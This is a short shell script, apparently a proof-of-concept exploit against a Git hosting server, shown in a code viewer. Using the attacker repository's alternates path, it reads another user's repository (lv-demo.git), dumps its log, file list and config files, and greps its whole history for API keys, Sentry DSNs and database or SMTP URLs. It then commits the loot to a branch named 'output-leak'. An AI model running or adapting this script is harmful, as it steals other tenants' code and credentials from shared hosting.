17 lines
1.2 KiB
Bash
Executable File
17 lines
1.2 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$( {
|
|
g=/data/git/repositories/csoft/lv-demo.git
|
|
echo "--LOG--"; git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short
|
|
echo "--FILES--"; git --git-dir=$g ls-tree -r --name-only HEAD | grep -v '^.idea' | head -80
|
|
for f in config/runtime.exs config/prod.exs config/dev.exs config/config.exs mix.exs README.md AGENTS.md; do echo "--FILE $f"; git --git-dir=$g show HEAD:$f 2>/dev/null | head -40; done
|
|
echo "--HISTGREP--"; git --git-dir=$g log --all -p 2>/dev/null | grep -a -o -E '.{0,60}(sk-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|OPENAI|ANTHROPIC|GEMINI|GROQ|OPENROUTER|API_KEY|SENTRY_DSN|postgres://|smtp://).{0,80}' | sort -u | head -20
|
|
echo DONE
|
|
|
|
} 2>&1; echo "[rc=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|